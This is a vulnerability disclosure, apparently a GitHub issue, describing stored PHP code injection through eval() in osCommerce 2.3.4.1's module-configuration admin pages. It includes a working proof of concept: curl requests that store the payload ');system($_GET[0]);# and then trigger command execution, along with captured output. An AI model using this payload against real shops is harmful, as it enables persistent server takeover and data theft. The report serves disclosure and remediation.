Skip to content

osCommerce 2.3.4.1 - Remote Code Execution in Administration Module Configuration Editing (Stored) #674

Description

@360AlphaLab

Affected Software

Vulnerability Description

The admin module-editing pages of osCommerce (admin/modules.php and admin/modules_content.php) render the settings form for each module by building a PHP snippet out of a stored "set_function" template and the module setting's stored value, then handing the snippet to eval(). The value comes from the configuration_value column of the configuration table, and an authenticated admin can set that column to an arbitrary string through the module save action (POST, no CSRF token) — the dropdown shown in the browser is only a client-side constraint, the server accepts any submitted value.

A stored value such as ');system($_GET[0]);# closes the single-quoted string inside the concatenated template and injects arbitrary PHP statements, which eval() executes as the web server user (www-data) the next time the edit page is opened. The payload persists in the database and fires on every render of the edit page — stored, second-order code injection.

admin/modules.php and admin/modules_content.php are two copies of the same concatenation template. The injection entry points are the edit/save interface of payment/shipping/order_total modules and of content modules respectively; both were reproduced independently (PoC and evidence below cover each one).

Root Cause

Write side — the save branch of admin/modules.php writes the POSTed configuration values straight into the database with no validation or escaping:

case 'save':
  reset($HTTP_POST_VARS['configuration']);
  while (list($key, $value) = each($HTTP_POST_VARS['configuration'])) {
    tep_db_query("update " . TABLE_CONFIGURATION . " set configuration_value = '" . $value . "' where configuration_key = '" . $key . "'");
  }
  // ...

Every value in the $HTTP_POST_VARS['configuration'] array goes into the UPDATE statement as-is. The form renders as a dropdown in the browser, but the server never checks the value against a legal set — POSTing any string is enough.

Read side — the edit branch of the same file concatenates the stored value into eval() while rendering the settings form:

while (list($key, $value) = each($mInfo->keys)) {
  $keys .= '<strong>' . $value['title'] . '</strong><br />' . $value['description'] . '<br />';

  if ($value['set_function']) {
    eval('$keys .= ' . $value['set_function'] . "'" . $value['value'] . "', '" . $key . "');");
  } else {
    // ...

$value['value'] is the configuration_value column, concatenated raw into a single-quoted string literal; $value['set_function'] is the template prefix written at module install time (e.g. tep_cfg_select_option(array('True', 'False'), ). The concatenated line looks like:

$keys .= tep_cfg_select_option(array('True', 'False'), '<stored value>', '<key>');

The stored-value slot receives no escaping. Submitting ');system($_GET[0]);# turns the line into:

$keys .= tep_cfg_select_option(array('True', 'False'), '');system($_GET[0]);#', 'KEY');

The first characters close the string and the function call, what follows is an arbitrary PHP statement, and the trailing # comments out the rest of the template — the snippet stays syntactically valid and eval() runs it.

admin/modules_content.php is an independent copy of the same template; its save and edit branches mirror the above:

case 'save':
  $class = basename($HTTP_GET_VARS['module']);

  foreach ( $modules['installed'] as $m ) {
    if ( $m['code'] == $class ) {
      foreach ($HTTP_POST_VARS['configuration'] as $key => $value) {
        $key = tep_db_prepare_input($key);
        $value = tep_db_prepare_input($value);

        tep_db_query("update " . TABLE_CONFIGURATION . " set configuration_value = '" . tep_db_input($value) . "' where configuration_key = '" . tep_db_input($key) . "'");
      }
      // ...
foreach ($mInfo->keys as $key => $value) {
  $keys .= '<strong>' . $value['title'] . '</strong><br />' . $value['description'] . '<br />';

  if ($value['set_function']) {
    eval('$keys .= ' . $value['set_function'] . "'" . $value['value'] . "', '" . $key . "');");
  } else {
    // ...

The save branch here adds a tep_db_prepare_input() call (trim + stripslashes), but neither that function nor the SQL escaping does anything about the quote-escape semantics, so the payload ');system($_GET[0]);# lands in the database byte-identical to what was submitted; the basename() check on $class only constrains the module name, not the configuration value. The underlying problem is the same in both files: a database-stored setting is treated as concatenatable code with no escaping or allow-list at the concatenation point.

Proof of Concept

The requests below target the admin/modules.php entry point (payment modules). First log into the admin panel to obtain a session (GET /catalog/admin/login.php to bootstrap the session, then POST username/password to login.php?action=process; the admin panel has no CSRF token):

curl -c admin.jar -s 'http://<target>/catalog/admin/login.php' > /dev/null
curl -c admin.jar -s -d 'username=<admin_user>&password=<admin_pass>&login=Log In' \
  'http://<target>/catalog/admin/login.php?action=process' > /dev/null

Step 1 — store the payload in the MODULE_PAYMENT_PAYPAL_STANDARD_STATUS setting via the save action of an installed payment module (any installed module key with a non-empty set_function works):

curl -b admin.jar -s -d \
  'configuration%5BMODULE_PAYMENT_PAYPAL_STANDARD_STATUS%5D=%27%29%3Bsystem%28%24_GET%5B0%5D%29%3B%23' \
  'http://<target>/catalog/admin/modules.php?set=payment&module=paypal_standard&action=save' > /dev/null

Step 2 — open the edit page of the same module to trigger the eval(); the command is passed in via $_GET[0]:

curl -b admin.jar \
  'http://<target>/catalog/admin/modules.php?set=payment&module=paypal_standard&action=edit&0=echo+vdy4oscp4x7q3-EXEC%3B+touch+%2Ftmp%2Fvdy4oscp4x7q3.txt'

Expected result: the marker vdy4oscp4x7q3-EXEC appears in the edit-page HTML (system() output goes straight into the response stream) and the payload-created file /tmp/vdy4oscp4x7q3.txt exists inside the web container.

Actual output (captured in a local authorized deployment)

The save request returns 302 (normal save redirect):

POST /catalog/admin/modules.php?set=payment&module=paypal_standard&action=save
status: 302
Location: http://127.0.0.1:43083/catalog/admin/modules.php?set=payment&module=paypal_standard

A read-only query after injection shows the stored value is byte-identical to the payload (the payload persists in the configuration table):

SELECT configuration_value FROM configuration WHERE configuration_key = 'MODULE_PAYMENT_PAYPAL_STANDARD_STATUS';
configuration_value
');system($_GET[0]);#

The execution request returns 200 with the command output embedded in the page (between the module-list table and the right-hand layout column — exactly where the eval loop renders):

GET /catalog/admin/modules.php?set=payment&module=paypal_standard&action=edit&0=echo+vdy4oscp4x7q3-EXEC...
status: 200

              <tr>
                <td colspan="3" class="smallText">Module Directory: /var/www/html/catalog/includes/modules/payment/</td>
              </tr>
            </table></td>
vdy4oscp4x7q3-EXEC
            <td width="25%" valign="top">

Cross-check inside the container: the marker file created by the payload exists, owned by www-data (only server-side code execution could have created it):

$ ls -la /tmp/vdy4oscp4x7q3.txt
-rw-r--r-- 1 www-data www-data 0 Sep  8 10:38 /tmp/vdy4oscp4x7q3.txt

Before injection the same edit page contained no such marker (negative control), ruling out stale state.

The admin/modules_content.php entry point was reproduced the same way, independently: POST configuration[MODULE_CONTENT_LOGIN_FORM_STATUS]=');system($_GET[0]);# to /catalog/admin/modules_content.php?module=cm_login_form&action=save (302), then GET .../modules_content.php?module=cm_login_form&action=edit&0=echo vdy7oscz3k8qf-EXEC; touch /tmp/vdy7oscz3k8qf (200). The stored value was byte-identical to the payload, the marker vdy7oscz3k8qf-EXEC appeared in the response, and /tmp/vdy7oscz3k8qf was created in the container, owned by www-data:

$ docker exec <web container> ls -la /tmp/vdy7oscz3k8qf
-rw-r--r-- 1 www-data www-data 0 Sep  8 11:36 /tmp/vdy7oscz3k8qf

Full request/response records and read-only checks for both entry points are listed under Evidence.

Impact

An authenticated admin — or any request that reaches the save interface, since the admin panel has no CSRF protection — can persist arbitrary PHP in a module configuration value and have it executed as the web server user (www-data) every time a module edit page is rendered: reading and writing any file and data reachable with that privilege, planting further backdoors, or probing the internal network. Because the payload lives in the database and re-executes on each render, a single payload stays resident indefinitely; on any deployment that uses both editing interfaces, the payment/shipping/order_total module edit page and the content module edit page are both trigger points.

Suggested Fix

Stop rendering the settings form through eval(): dispatch to a whitelist of known set_function formatters (e.g. via call_user_func, passing the stored value as an escaped function argument), and validate on save that the configuration value belongs to the key's legal set of options.

Prior Research

Before writing this up I went through the public records for osCommerce 2.3.4.1 — the CVE/NVD entries, GitHub Security Advisories (the oscommerce2 repository has none published) and the historical entries on Exploit-DB — and didn't find this set_function/value eval concatenation reported anywhere. The known RCEs for this version (the unauthenticated installer issue in CVE-2018-25114, the upload-extension/htaccess problems in CVE-2018-18572/73) live in entirely different code paths, and their fixes wouldn't cover this.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions